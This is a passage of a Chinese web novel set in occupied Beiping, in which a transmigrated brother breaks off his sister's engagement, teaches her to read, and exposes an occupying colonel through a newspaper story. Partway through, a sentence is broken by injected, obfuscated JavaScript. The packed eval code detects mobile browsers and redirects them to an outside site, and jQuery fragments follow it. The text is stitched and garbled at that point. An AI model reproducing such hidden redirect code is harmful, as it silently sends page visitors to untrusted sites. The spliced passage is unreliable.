“而且啊……像云禾这么懂事的姑娘不多了,”盛母说着这话,还侧头看了一眼傅云禾,眼睛里面全然都是赞赏,“我今天来不是为了退亲的,主要是想要早点把云禾娶回去,让我家那臭小子收收心。” 盛子昂瞪大了眼睛,只觉得格外的离谱。 明明从家出发之前,盛父和盛母都说是来退亲的,可现在怎么又变成要结亲了呢? 盛子昂跪在地上,气的两侧的腮帮子鼓鼓的,他正要站起来说话,可却又被盛父给喝退了,“你给我闭嘴!” 这几天盛父收走了盛子昂身上所有的大洋,还严格要求盛母也不许给他一个子儿,原以为自小养尊处优的儿子,在经历了这样一番困难的生活以后会向他们低头。 可没想到对方还是那个犟脾气,咬死了牙关就是不娶傅云禾! 盛父皱着眉头,上去对着盛子昂的屁股就是一脚,“还不赶紧向云禾道歉?! 盛子昂跪在那里不吭声。 他自认为自己没有做错什么,他不想娶一个自己不喜欢的女子回家,为了避免结为一对怨偶,最好的办法就是退亲。 盛父几乎要被自己这个儿子气死,眼瞅着他又要一巴掌打过去,傅云禾却突然开了口,“大哥已经答应了要退亲了,我不嫁的。” 这是傅云禾长这么大,头一次主动提及自己的亲事。 她心里无比的明白,盛子昂不爱她。 两个没有感情的人,强硬的凑在一起,是绝对不会有好结果的,她不想自己的后半辈子都活在怨怼当中。 大哥说了,她不想嫁可以不嫁的。 只要她不想,就没有人可以逼她。 这话一出口,就连盛子昂都愣住了,他似是有些不敢相信自己的耳朵,猛然之间瞪大了眼睛,往前凑了凑,“你说什么?” “我妹妹说她不想嫁给你了,你听不懂吗?”沈听肆大踏步走进来,居高临下的看着盛子昂。 现在的这个时代稍显的有些畸形,旧式的人家依旧以女子缠足的三寸金莲为美。 像傅家,盛家这种祖上原本在封建制度下有高官的,更是如此。 没有缠足的女子,根本不可能嫁进去当大房,顶多当个姨太太。 可在一些新派的年轻人的眼中,小脚是陋习,是糟粕,是要被摒弃掉的。 这小脚的陋习,原本就是为了迎合一些男人们畸形的审美,才硬生生将女子原本漂亮的双足变成了残疾。 可现在又是这些男人们,厌恶小脚,摒弃这些缠足的女子,甚至还有人大肆的写文章来抨击她们。 可她们有何错之有? 她们本是受害者。 盛子昂嘴上说的冠冕堂皇,说傅云禾是旧式的老派女子,跟不上他的新式思想,厌恶傅云禾的那双小脚。 可他真的只是厌恶那双小脚吗?真的厌恶这种旧式的制度吗? 如果是的话,他为什么又做着高高在上的少爷,由着那些下人伺候他呢? 说到底,他厌恶的不过是,解开裹脚布以后看到的畸形丑陋的脚罢了。 这男人可真没品。 想要退婚,提前和父母商量好,拿着信物,大大方方的上门退亲,没有人会因此而生气。 可他偏偏不,瞒着父母,带着所谓的女朋友,专门挑了傅家能做决定的男丁都不在的时候上门,算准了张婉容和傅云禾母女两人好拿捏。 还话里话外的看不起傅云禾,全然一副小人得志的嘴脸。 沈听肆走过去,安抚的拍了拍傅云禾的背,“放心,大哥给你做主,绝对不会让你欺负了你去。” 这话一说出口,盛父瞬间就变了脸色。 他知道,这件事情恐怕没有办法轻而易举的解决了,说不定他们盛家还要大出血。 盛父狠狠的瞪了盛子昂一眼,只觉得自己养了一个败家子出来。 沈听肆没有在空位上坐下,而就站在原地,站在傅云禾的前面,那双眸子淡淡的扫视过花厅里的所有人,目光最后落在了跪在正中央的盛子昂身上。 “就先起来吧,免得传了出去,说我们傅家欺负了盛家少爷去。” “欺负”两个字被沈听肆咬的格外的重,让盛子昂莫名的呼吸急促了起来。 他愣在原地,一时之间有些不知所谓。 盛父眉头微锁,“没事,让他跪着去,刚好可以好好的醒醒那个满是浆糊的脑子,一天到晚的光想着那个不守妇道的女人……” “冉冉才没有不守妇道!”盛子昂听到盛父说自己的心上人,一下子就忍不住了,“那只是正常的社交,冉冉是自由的,她想做什么事她的事,我不允许你这样说她!” “逆子!”盛父气的额头青筋直跳,“你听听说的什么话!” 盛母也在一旁帮腔,“成天打扮的花枝招展的在街上乱逛,甚至还和男人有说有笑的去饭店吃饭,这不是不守妇道是什么?” 她好似会变戏法一样,在提到阮泠冉的时候还一脸怒气,可转眼间又没开玩笑了起来,“还是云禾这样的姑娘好,知道顾家,安分守己,不像某些人……” 盛母拖长了尾音,语末还冷冷的哼了一声。 “我说了我不娶!”盛子昂忽然努了,猛地一下子从地上站了起来,或许是因为跪的太久双腿发软,整个人踉跄了好几步才堪堪站稳。 他红着一双眸子,里面的怒火几乎要将所有的一切都给灼烧殆尽,“来之前你们明明答应过我,就是来退亲的,为什么说话不算话?!” 他单手指着傅云禾,厌恶之色溢于言表,“你们要是觉得她好,那就让我爹把她娶了,我不介意多个小妈……” “放肆!”不等盛子昂将话全部说完,盛父就冲过来一巴掌打在盛子昂的脸上,整个人气的浑身颤抖,“你疯了不是?!” 盛母心疼儿子,可却也不敢去栏,只坐在原地,小心翼翼的打量着沈听肆。 这话实在是有些侮辱人了,傅云禾即便拼命捂住了嘴巴,可依旧从手指缝里传出了几声细细的呜咽。 沈听肆冷笑了一声,“盛大少还真是,艺高人胆大,吃了几年洋墨水,就有点找不着北了。” 盛父心中一惊,明白沈听肆这回是真的生气了,瞪了盛子昂一眼,让他不要再说话后,转过身来脸上露出了几分讨好的笑,“子昂还小,不懂事,胡说八道的,我替他给贤侄赔个不是,贤侄可千万别介意。” 盛子昂人傻了,完全没想到会是这么一个展开。 明明他们盛家产业比傅家多的多,可他爹为什么要对沈听肆这么一个晚辈卑躬屈膝? “爹……”盛子昂看不下去盛父这副态度,想要劝,却又被盛父吼了一声,“我让你闭嘴你听不到吗?!” 沈听肆似笑非笑的看着盛父,说出来的话也是充满了嘲讽,“二十多岁的孩子还真是年纪小呢,云禾今年才不过十七岁。” 这话几乎是堵死了盛父,让他的一张老脸青一阵白一阵的,一时之间完全不知道该说些什么好。 “我之前就说过了,”沈听肆看了一眼盛子昂,“君既无情我便休,盛大少有了心上人,又何必要继续耽误云禾,就算勉强结了亲,云禾嫁过去又怎会不受委屈?” “退了便退了吧,”沈听肆轻轻拍了拍傅云禾的手臂以示鼓励,“我们云禾也不是非得在盛大公子这一棵树上吊死。” 傅云禾抬起那双微微泛红的眼,满带着不安,但在此刻,却被沈听肆给安抚了下来。 她眼底不受控制的凝起了一层水雾,嘴唇蠕动着,轻轻喊了一声,“哥哥……” 傅云禾悄悄攥着沈听肆的衣角,用无比依赖的目光看着这道清瘦,却又高大的背影,一股从未有过的安全感,从心底升起,顿时就觉得什么都不怕了。 盛父也知道自己的儿子的所作所为太过分了些,如果自己有个女儿的话,是绝对不会嫁给他的,沈听肆所说的话,他也能够理解。 可一想到要断了和傅家的这门亲事,盛父就忍不住的有些忧心。 他总觉得,虽然现在的沈听肆看起来一副很好说话的样子,但等他走出傅家的大门开始,肯定是要出手对付他们盛家的。 为了能够少出一点血,盛父决定主动出击。 “既然如此,”盛父沉沉地吐出一口浊气,“这婚事就退了吧。” 他将原本准备好的信物拿了出来,双手拿着放在了沈听肆面前的桌子上,态度那叫一个诚恳,“这是当年两家定亲时候的信物,现在物归原主。” 那是半枚打磨的十分精致的玉佩,上面雕刻着凤凰的图案,每一根羽毛都栩栩如生。 沈听肆点点头,随后对张婉容道,“娘,将我们的那半块玉佩也拿出来吧。” 当年结亲的时候应该是许了龙凤呈祥这样的好寓意,所以傅家手里的半块玉佩是一个龙形的图案,和盛父拿出来的那半块拼接在一起,正正好好能够拼成一块完整的。 张婉容有些迟疑,“真……真就退了?不等你爹回来吗?” 几十年女德的思想根深蒂固,让张婉容在盛擎不在家的情况下,根本不敢做出什么大的决策来。 相关于女儿后半生的幸福,这么大的事情,即便是儿子已经做了决定,可她还是非常的踌躇。 担心等到丈夫回来以后会责怪自己和沈听肆。 “没事的。”沈听肆知道自己想要彻底的把张婉容的这种思想掰正过来是非常困难的,也不强迫他能够这么快的认清楚盛子昂的德行。 他只是简单地陈述着事实,“等爹回来了,我自会去和他分说,更何况,如果爹现在在这里的话,定然也会同意退了亲的。” 毕竟是盛家理亏,趁着这个机会,他们可以从盛家身上薅下来好大一波的羊毛。 商人重利,盛擎不傻,一个女儿的幸福,于他而言根本算不得什么,重要的是这个女儿能不能带来利益。 看沈听肆将盛擎给搬了出来,张婉容只能同意,“那好吧,只不过那玉佩我没有带过来,稍等一下,我现在去取。” 盛父用眼神示意了一下盛母,希望盛母能将张婉容先给哄开心了,“就算咱们这亲结不成了,但咱们两家之间的情分可不能散了,尤其是你们俩的姐妹情,这都几十年过来了,可不能因为小孩子就闹矛盾。” 毕竟沈听肆就算是再想要为傅云禾出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536849|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,可终究也得考虑张婉容这个母亲的心情不是。 盛父支招道,“你去陪着一块儿吧。” 盛母立马喜笑颜开,高高兴兴的挽着张婉容的手臂,“走吧,我陪你一起去取那玉佩。” 张婉容不擅长拒绝人,更何况盛母又笑意盈盈的,“那……那好吧。” 一下子走了两个人,花厅里面立马安静了许多,盛父心怀忐忑的问道,“不知贤侄接下来对于两家的生意有什么打算呢?” 他们两家结亲这么多年,很多生意盘根错节,相互交叠在了一起,如果是想要一下子全部分开的话,势必是要伤筋动骨的。 而且当年的时候,傅家比不上盛家,所以两家合作的生意基本上都是盛家做主。 虽然现在明面上依旧是盛家做主,实际上,真正有话语权的还是傅家。 毕竟北平那么多的生意人也不都是傻子,整个北平所有的商会想要生意兴隆,不出什么意外,全部都得掏钱来好好的孝敬平川大佐。 而沈听肆背后最大的靠山,就是平川大佐。 看似这些人都是在给盛家方便,其实真正方便了的,是沈听肆背后的人。 沈听肆皮笑肉不笑,没有直接回答,转而反问道,“不知盛伯父以为呢?” 盛父咬咬牙,试探着开口,“两成利,如何?” 原本的生意,盛家和傅家是六四分,盛父让出来两成利,分成还是□□,只不过拿六成的变成了傅家而已。 沈听肆却勾着唇笑了笑,不咸不淡的回了一句,“盛伯父,您这是打发叫花子呢?” 盛家这么欺负人,让出这么点利益就想要他当做什么都没有发生,可当真是太过于天真了些。 “那个……”盛父用力的搓了搓手,强忍着肉疼的感觉,“三成呢?不能再多了。” 就因为盛子昂这个逆子,他就要平白的让出一半的利益去,这和直接拿刀子割他身上的肉有什么区别呢? 沈听肆依旧笑意盈盈,说出来的话,却让盛父心惊肉跳,“四成。” 就算盛家只拿二,那也是赚的,更何况,盛家除了和傅家合作的产业以外又不是没有旁的生意了。 盛父一颗心都有些凉了。 二成的利,给下面的人发了工资以后,那基本上就不剩下什么了。 感情他就是白给傅家打工呗? 可他没有那个资本和沈听肆叫嚣。 只能咬着牙答应下来,“行,就四成。” “好说,好说,”沈听肆亲自给盛父倒了一杯茶,双手捧着地了过去,“买卖不成仁义在,更何况咱们也没有到那个份上,盛伯父,请喝茶。” 盛父端着杯子的手都有些微微的颤抖,滚烫的茶水滴落出来,烫的他的手背发疼,可却不及心里的苦涩万分之一。 他真的是上辈子造了什么孽,生出来盛子昂这么一个儿子来当讨债鬼啊! 盛父气鼓鼓的看了盛子昂一眼,只恨不得没有生过这个儿子。 盛子昂却有些莫名其妙,完全没有明白他们口中所说的两成利,四成利是什么东西。 毕竟盛母疼儿子,之前从未让他沾染过这些,还想着等到他留洋回来以后再把盛家的生意交到盛子昂的手里。 结果现在倒好,出去两年别的没学,倒是把儿女情长弄得比谁都顺溜。 这边说好了利益相关,那边盛母和张婉容也拿着另外半块玉佩回来了。 将那半块龙形的玉佩还给盛家,沈听肆便直接开始赶人,“盛伯父,盛伯母还是趁早回去吧,否则晚了,家里面的厨子做的午饭可就要凉了。” 傅云禾下意识的看了看那才升起来没多久的日头,突然捂着嘴巴轻轻笑了起来。 才刚刚吃完早饭没多久呢,距离吃午饭的时间最起码还有两三个小时,大哥说这话可真是不客气。 盛父一张脸涨的通红。 他活了这么大年纪,还是头一次被主家如此赶客的,但毕竟理亏的是他们,他也不好说什么。 “贤侄说的是,那我们就告辞了。”说完,盛父一把拽过盛子昂,头也不回的往外走。 盛母也是一个裹了小脚的女人,她根本追不上走得飞快的那两个大老爷们,“那你们等等我啊……” 一双小脚跑得东倒西歪,好几次都差点摔倒。 张婉容有些看不下去,吩咐丫鬟去将盛母搀着,“到门口了给盛夫人叫辆黄包车。” 那丫鬟应下,抬脚就要去追,沈听肆又给了她两块大洋,“剩下的钱就自己收着吧。” “谢谢大少爷,谢谢大少爷!”两个大洋,可是她一个月的工资啊!而且叫黄包车能花几个钱?那丫鬟顿时激动无比,就差跪下来磕头了。 沈听肆挥了挥手,“快去吧。” 他转过身来,又看到傅云禾一直紧盯着放在桌子上的那半枚玉佩在看。 “怎么?”沈听肆走过来坐在她对面,似是调笑一般的开口,“舍不得?” 傅云禾立马涨红了脸,“怎么可能?!” “我才没有。” 这几日她也想明白了,强扭的瓜不甜,更何况,或许她对于盛子昂的也不是爱情,只是自小就习惯了听从父母的话,父母说盛子昂是她未来的丈夫,她也就认为盛子昂是她未来的丈夫了。 她或许,根本就不懂何为情爱。 沈听肆也不再继续逗她,“这玉佩,你打算怎么处理?” 傅云禾摇了摇头,眼底浮现出一抹茫然之色,“我不知道。” 沈听肆将玉佩收了起来,“既然如此,那就交给哥哥来吧,改天去找个当铺,把它当了,换来的钱以后给你留作嫁妆。” 傅云禾嗔了沈听肆一眼,没有多少力气的反驳,“我以后不嫁人的。” “不嫁就不嫁。”沈听肆对此全然赞同,一个女子的人生,不只有嫁人这一条路可走。 在送傅云禾回去的路上,沈听肆揉了揉她的脑袋,语气温柔的问了一声,“云禾,哥哥教你识字好不好?” 傅云禾惊呆了,她似是有些犹豫,又似是有些激动,种种情绪交织在那双秋水瞳中,复杂极了。 沉默了好一会儿,她才磕磕绊绊的开口,“可……可我是个女子,怎么能读书识字呢?” 现在这个时代,绝大部分的女子还都是信奉“女子无才便是德”。 裹小脚,学女红,长大之后找个男人嫁出去,然后为了那个男人生儿育女,家里家外两手抓,到最后落得一个好媳妇的名声,似乎就是女子一辈子的追求了。 沈听肆做任务的上个世界是纯粹的封建社会,而且内忧外患,就算是他想要做思想改革,凭他一个人也不可能对抗根深蒂固的封建君主制度。 可这个世界不一样,已经有不少的女性觉醒了意识,不再将自己的一生看作是一个男人的附庸。 她们像男子一样进学堂,学知识,闯出一番自己的事业,拥有别具一格的新的人生,找到了自己的价值。 别的女子可以,傅云禾自然也可以。 沈听肆侧过身,那双琉璃般的眼眸深深的映到傅云禾的眼底,里面含着鼓励和期许,“女子又如何?谁说女子不能读书识字了?” 为了能让傅云禾安心,沈听肆特意拿了阮泠冉来举例子,“就比如阮姑娘,你前几天也见过她了,她像盛子昂一样去国外念了书,留了洋,她甚至都没有裹小脚。” 看到傅云禾心态开始产生变化,沈听肆继续说道,“现在是新时代了,男子能做的事情女子也可以做,你常年的在府里面未曾接触过外面,现在就算结了婚,也是可以登报离婚的,一个女人不一定非要一辈子绑在一个男人的身上。” 傅云禾头一次听到这样的说法,大眼睛里面充斥着浓烈的不可置信,“竟然还可以离婚?!” 沈听肆轻轻笑了笑,应声道,“这是当然了,只要日子过不下去就可以离,没什么好丢脸的。” “而且你识了字,就可以看懂报纸,进而可以更加的了解这个时代。” 沈听肆微微叹了一声,“云禾,哥哥并不是说让你读书识字是为了去做学问,闯出一番大事业来,而是通过读书识字,你可以有更广阔的认知,有独属于自己的思想。” “读书可以明理,让你知道什么是对的,什么是错的,可以让你找到你在这个世界上的意义。” 这番话傅云禾听得有些云里雾里的,那双眼睛里面沉着一分迷茫之色,但她知道哥哥是为了她好,绝对不会害她。 傅云禾重重的点点头,“好!那我跟着哥哥念书!” 原本是要回傅云禾院子里的兄妹二人顷刻之间调转了方向,一头扎进了沈听肆的书房里去。 原主傅青隐当年启蒙用的书籍还在,虽然旧了一些,但上面的字都还是清楚的。 这是一年级的国文课本,白话文还没有完全普及,因此这本书上是半文半白的。 但讲述的内容都非常简单,学起来也不吃力。 沈听肆拿着书,一个字一个字的念,“学生入校先生曰……” 傅云禾乖巧的坐在旁边,跟着沈听肆念,“学生入校先生曰……” 一边教傅云禾识字,时不时的又到平川大佐那里去露个面,偶尔再去赌坊薅些羊毛,在将东瀛人做人体实验的事情加到小说里面写进去,沈听肆这半个月来的日子过的可以说是相当的忙碌了。 但结果是显而易见的,他的那篇夹杂着家庭伦理,以及怪诞感情的小说,成功的被青年日报收录了。 沈听肆甚至还收到了一笔稿费。 —— 这天,平川大佐照常拿了一份报纸坐在椅子上看,目光一下子就被占了巨大版面的《美貌少妇和东瀛大佐不得不说的二三事》给吸引到了。 “这群夏国人还真是有意思,这种小说也能拿来登报,还用了这么大的一个版面,简直就是浪费。” 平川大佐原本只是将这个小说当成是一个乐子来看,毕竟他知道他自己和这个所谓的美貌少妇并没有什么关联。 可看着看着,平川大佐就发现了不对劲的地方,为什么这故事里面,东瀛大佐在发现美貌少妇除了他以外,还有别的情人的时候,采取的报复美貌少妇的手段如此的熟悉呢? 他先是用药物控制了美貌少妇,随后竟然找了一个郎中来将一些奇奇怪怪的东西注射到美貌少妇的体内,试图将美貌少妇改造成只属于他一个人的傀儡。 “来人!”平川大佐冷着一张脸喊了一声。 很快松井中佐就敲门走进了他的办公室,“平川君。” 平川大佐将手里的报纸递给他,“你看看。” 松井中佐只粗粗扫了几眼,神情立马就变得严肃了起来,“,这人知道内幕!” 平川大佐点点头,眼中泛着凌厉的冷光,“去查,掘地三尺,也要把这个人给我挖出来!” 5. 第 5 章 这还是两个人共事,这么久以来,他头一次面对平川大佐如此的怒火,松井中佐身体下意识的瑟缩了一下,随后想到了什么似的,猛然间开口,“半个月前,傅青隐曾去过情报机构。” “这一切会不会是他干的?” 松井中佐提起这件事情,就有些心有余悸,“平川君,我非常怀疑傅青隐那日看见了接线员所记录的内容。” 松井中佐的怀疑并不是没有道理,毕竟这个研究基地已经存在了相当长的一段时间了,而且从未出现过任何的意外。 就在半个月之前,沈听肆这唯一的夏国人出现在了情报机构的办公室,紧接着这个最为重要的研究基地就被暴露了出来。 虽然就算他看见了接线员记录下来的东西,没有密钥,也没有办法轻而易举破译掉那上面的内容。 可万一呢? “去看看,看看他怎么说。”平川大佐的脸色也不甚好看,整个人眸光阴郁不已。 “这还有什么要说的?!”松井中佐似乎是因为受了太大刺激的缘故,胸膛剧烈的起伏了几下后,一连串的脏话径直蹦了出来。 “最下等的贱人养的夏国人!也就只有这种垃圾才会没有眼色,不知道研究基地的重要性,操/他/妈/的!” “松井中佐,”平川大佐冷冷的扫视了他一眼,“嘴上积点德吧。” 虽然平川大佐也很是气愤,毕竟一旦这件事情彻底暴露出来,那将会带来非常严重的后果,可却也不能让松井中佐这般肆意的辱骂于人。 傅青隐留在他们这里,还好吃好喝的招待着,并不是因为他作为一个夏国的人,选择了投诚。 而是因为他曾经的身份——北平大学最年轻的教授。 他就相当于是插在那些年轻一代的知识分子身上的一把刀,时时刻刻的在警醒着他们,他们的先生在面对生命威胁的时候选择了叛变,选择了苟且偷生。 这是只要提及就会感到万分羞耻的事情。 夏国人最为重要的一个品质就是勇往直前的精神,和团结一心的力量,而傅青隐的叛变却可以轻而易举的摧毁这一切。 让这些学生心中作为精神支柱的信仰,失去它原有的作用。 松井中佐不敢反抗平川大佐的命令,只能自顾自的生闷气。 他一会儿愤怒的向前冲两步,一会儿又停下脚步等待平川大佐,脸上充满着焦躁和不安。 等到他们到达沈听肆的办公室的时候,松井中佐都快要气成一只河豚了。 是的,沈听肆在东瀛人这里也有一个属于自己的办公室。 只不过他根本接触不到涉及机密的工作,每日里做的最多的也就是翻译一些书刊而已。 这种事情,一般上了大学的人都可以做,可见,即便他现在已经取得了平川大佐的信任,但是对方依旧没有把他当成自己人。 松井中佐用力的敲着房门,“傅青隐!赶紧给老子出来!” “来了。” 伴随着一阵脚步声传来,沈听肆从里面打开了房门。 似乎是刚刚在午休的缘故,他的外套并没有穿着,只虚虚的披在了肩膀上,头发慵懒的耷拉下来,遮住了一部分的眉眼。 头顶的白炽灯光不浓不淡的倾洒下来,照在身上暖洋洋的,仿佛是午后餍食的小猫,安静且美好。 他似乎是有些诧异,为何会有这么多人突兀的出现在他的门前,眨了眨眼睛,疑惑的问道,“这是怎么了?” “你竟然还好意思问怎么了?!” 气急败坏的松井中佐重重一拳砸在了沈听肆身侧的门框上,直接将门框砸了个凹痕出来,“今日的报纸,你没听到吗?” “报纸自然是看到了的,”沈听肆点点头,表现的十分的乖巧,“松井君是在说《美貌少妇和东瀛大佐不得不说的二三事》吗?” “现在的文人就喜欢写这一些怪诞的小说,来吸引人的注意力,我知道平川君的为人,自然是不会当真的,这种小说也就那种,没见过什么世面的人才会去相信了。” 松井中佐:…… 他娘的还真会说,他竟然找不到任何反驳的理由。 “你不觉得这个故事有些眼熟吗?”眼看着松井中佐这个莽汉问不出什么有价值的东西,平川大佐选择了亲自上阵。 沈听肆自然是摇头否认,“没有啊,很眼熟吗?我之前未曾读过这样的故事。” 说完这话,似乎是担心对方还不太相信,沈听肆又补充了一句,“虽然之前的报纸我都看过的,但是对于这种怪诞的小说,我一向都是不感兴趣,只不过是今日份的报纸提到了东瀛大佐,我以为和平川君有关,这才仔细的看了看。” “装模作样,说不定这小说就是你……”松井中佐还想要继续怀疑,却被平川大佐给打断了。 “行了,不必再说了,我相信傅君的为人。” 他那么无辜,那么正直,又怎么可能会写出这样荒谬的小说呢? 更何况,平川大佐知道沈听肆从未接触过电报,那日里沈听肆对于电报机的好奇和对它的陌生程度,完全做不得假。 沈听肆唯一能够接触电报的机会就是那天他带着沈听肆去情报机构的那天。 而且对方也不可能有能力弄来一个电报机,更别说想要破译他们的密钥了。 做这件事情的,应当是反抗军当中的某个人。 或许…… 平川大佐忍不住皱了皱眉。 可能是他们用来做研究的某个夏国人,从罐子里面逃了出来,试图用这种方法,来引起别人的注意。 “打扰了,”平川大佐略带着歉意的说了句,“傅君好好休息。” 等人离开后,沈听肆脱掉身上虚虚披着的外套,走到椅子上坐了下来。 这还真是凶险,他们第一时间就怀疑到了自己的头上。 不过,倒也在意料之中了。 此时沈听肆的后背早已经被汗给湿透了,若是平川大佐想要进来仔细检查的话,说不定还会发现什么端倪。 但幸好,他没有。 9999满是后怕的开口道,【宿主,得亏平川大佐相信了你,要是按照松井中佐那个火爆的性子,说不定都要把你抓到监牢里去了。】 沈听肆坐在沙发上,轻微的喘着气,【道具还是有一定效用的。】 按照傅青隐记忆当中,对于平川大佐的认识,对方并不是这么一个好说话的人。 但这也得益于他从9999那里买来的技能,毕竟若是他们有证据的话,就算平川大佐因为“帝王的恩宠”这个道具对沈听肆信任有加,也绝对不会如此轻而易举的离开。 稍微缓了一会,心跳平稳了下来,沈听肆饶有兴致的和9999开起了玩笑,【以后还有这种道具,早点儿介绍给我,OK?】 【宿主,你还是赶紧休息一会儿吧,】9999都有些无语了,【昨天的时候才刚刚犯了瘾,晚上又折腾的破译密钥,你这身体你还要不要了?】 【这个世界可没有一个念羽能给你延长寿命哦,】9999仿佛是一个老妈子一般,细细的劝导着,【宿主珍惜一下你的这条小命吧。】 【我没事,已经感觉好多了。】沈听肆坐在办公桌前,开始今天的翻译工作。 毕竟平川大佐给他安排的任务,他还是需要认真完成的。 —— 这一边,在离开沈听肆办公室以后,松井中佐迅速带人冲进了青年日报的编辑部。 一大群提着枪的东瀛人将编辑部团团包围了起来,吓得他们惊慌失措,有人甚至直接都被吓晕厥了过去。 但松井中佐却丝毫不在乎,这些低等的夏国人死了就死了,对他来说就如同碾死一只蚂蚁一样,若不是因为注重他们东瀛人的名声,再加上平川大佐经常在他旁边耳提命面的,他现在都想直接枪毙了几个编辑来杀鸡儆猴。 “这位太君,”总编齐肃急匆匆的从楼上跑下来,鞋子都跑掉了一只,站在松井中佐面前不停地鞠躬道歉,“这是发生什么事了?咱们有话好好说,可千万别擦枪走火……” 枪这玩意儿,稍一不留神就能够带走一条命啊。 松井中佐在齐肃的再三请求下,才让手下的人暂时将枪给收了起来,只不过他本人依旧是一副怒目圆睁的模样。 他将手里的那份报纸重重的拍在齐肃的面前,眯着一双眼睛,阴测测的看着他,“这份报纸是你们出的吧?” 齐肃点点头,心中忐忑不安,“是……是我们出的,不知这可有什么不妥吗?” 虽然报纸的头版写的是一个有关于东瀛大佐的故事,可是他们也没有指名点姓就是平川大佐啊,更何况,这种故事一看就是编的嘛,取了这么一个名字,很明显就是用来吸引眼球的。 齐肃一脸懵逼,完全不知道松井中佐生气的点在哪里。 松井中佐简直要被齐肃无辜眼神给气死,他猛地一下大步上前,一手揪起了齐肃的脖子,“告诉我,这篇小说究竟是什么人写的?” 齐肃被勒的几乎快要喘不过气来,整张脸涨的通红,他拼命的拍打着松井中佐的时候,“咳咳咳……先……先松开……” 松井中佐一把将他推倒在地,直接拿枪指着他的脑袋,“快点说!” 齐肃被吓得打了一身的寒碜,这才颤颤巍巍的抬手指向了缩在墙角的一群编辑当中的其中一个,“他,张北辰应该知道一些内幕。” 松井中佐用眼神示意了一下,他的手下立马就将张北辰架着提了过来。 “太君,冤枉啊。”张北辰心中都快要后悔死了,他当初就是看到这个故事的标题起的太过于猎奇,所以才通过了稿子,还把它弄到了头版上面去,要是知道这篇小说能够带来这么严重的后果,他就是打死也绝对不会过稿的。 “我只是编辑,负责过稿而已,这小说绝对不是我写的。” 张北辰努力的解释着,唯恐自己下一刻就变成了一具尸体。 松井中佐看着他那张诚惶诚恐的脸,皮笑肉不笑的开口道,“不是你写的,那么写这篇小说的人在哪?” 说着这话,他慢慢的坐直了,身体居高临下的看着所有的编辑部的编辑们,“找不到作者,你们所有人,通通死啦死啦滴!” 张北辰连滚带爬的站了起来,“寄来稿子的信封我还留着,我现在就去拿。” 松井中佐冷哼一声,“那还不快点儿?!” “好咧,好咧!”张北辰扭头就跑,那速度快的,仿佛身后有什么恶犬在追逐一样。 不过片刻的时间,他就已经从厚厚一沓子信封里面找到了那一封拿了过来,小心翼翼地将信封和原稿递给松井中佐,张北辰怦怦直跳的心终于稍稍安定了一些,“都在这里了。” 松井中佐刚接过信封,就被上面那狗爬式的字迹给惊到,“你们编辑部,连写这种字的稿子都要收吗?” 张北辰讪讪的笑了两声,“现在会写一手好字的人其实并不多,而且我们一向看的是稿子具体的内容,作者的字写得如何,我们一向是不怎么关注的。” 松井中佐轻轻扫他一眼,嗓音当中夹杂着浓烈的逼迫和威胁,“下一次再看到写的这么丑的字……” “我知道的,我知道的,”还不等松井中佐将话说明白,张北辰立马就点头应答了,“下次绝对不会再收这样的稿子。” 松井中佐:…… 这么蠢的人是怎么当上一个编辑的? 松井中佐抬手轻轻在张北辰脑袋上点了两下,“我的意思是,下次再见到这样的字,一定要第一时间通知我们,明不明白?” 张北辰连连点头答应,“明白的,明白的,绝对第一时间就通知。” 得到了线索,松井中佐也不再为难他们,拿着那封信就直接带人离开了。 让所有的东瀛人都踏出编辑部的大楼,一众编辑们顿时瘫软在了地上。 这真的太可怕了。 他们从未想过,不过是发表了一篇小说而已,自己竟然就离死亡如此的近了。 “对不起……”张北辰站起身来,对着自己其他的同事们鞠了个躬,“这件事情都怪我。” 齐肃拍了拍他的胳膊,摇头道,“这怎么能怪你呢?你只是做了作为一个编辑应该做的事情而已。” “而且,我总觉得这篇文章不如他表面上所写的那么简单,”齐肃迟疑了一瞬后,对其他的编辑们开口道,“刚才来的那个人,我听说过,好像是驻扎在北平的松井中佐,是所有在北平的东瀛人当中的二把手。” “他亲自带人来到我们这个编辑部找写了这篇文章的作者,绝对不是这个作者隐喻了平川大佐这么简单。” “说不定……”齐肃的声音渐渐小了下来,“这里面有一些涉及到平川大佐的真实发生的事情。” “那这……” 一群编辑们面面相觑,一时之间都不知道该说些什么好。 张北辰犹豫了一瞬后,开口道,“那下次若是再见到这样的稿子……” 齐肃郑重其事的说,“自然还是要把它刊登出去的。” 作为一个夏国人,他十分的厌恶,在他们国家的领土上作威作福的东瀛人 ,只不过他个人的力量太过于渺小,而且他还有家人要顾及,他没有办法那样的正面做出反抗。 但是,做一些力所能及的事情,他还是可以办的到。 东瀛人最好面子,绝对不会正大光明的对他们动手。 张北辰拍了拍脑门儿,一脸的懊恼,“可是……他们已经把那个信封给拿走了,那么写这篇小说的作者,岂不是很危险?” 齐肃无奈叹了一声,“只希望他能够逃脱吧。” 对于这个人的安危,他们终究是无能为力了。 编辑部对面的茶楼上,八岁的小柱子喝下最后一口茶水,蹦蹦跳跳地回了家。 —— 松井中佐原以为拿到了这份信封就可以抓到那个写这篇小说的作者,可没想到,他们按照信封上的地址,找到地方以后,却发现这里是一个早已经被废弃了的旧工厂。 住在这里的全部都是因为吃不上饭而四处乞讨的乞丐们。 他们衣着破烂,浑身上下都脏兮兮的,上百个人连一个正儿八经的名字都没有,又怎么可能会写的出那样的文章呢? 他还有些不信邪,将所有的乞丐们都逼问了一遍,可却始终没有得到有用的信息。 这些乞丐大字不识一个,有的甚至连小说是什么东西都不知道,完全没有办法帮助松井中佐。 松井中佐大张旗鼓的带着人进行抓捕,可结果到头来却什么线索都没有找到。 白白浪费了一天的时间,松井中佐气急败坏的回来了,“这个夏国人简直是太狡猾了!一点线索都没有流露出来!” 平川大佐却仿佛早已经料到了会是这么一个结果一样,他慢悠悠的倒了一杯茶,递给松井中佐,“松井君先喝口水,缓一缓吧,这件事情不着急。” 在松井中佐带人去寻找这篇小说的作者的时候,平川大佐也想明白了一切。 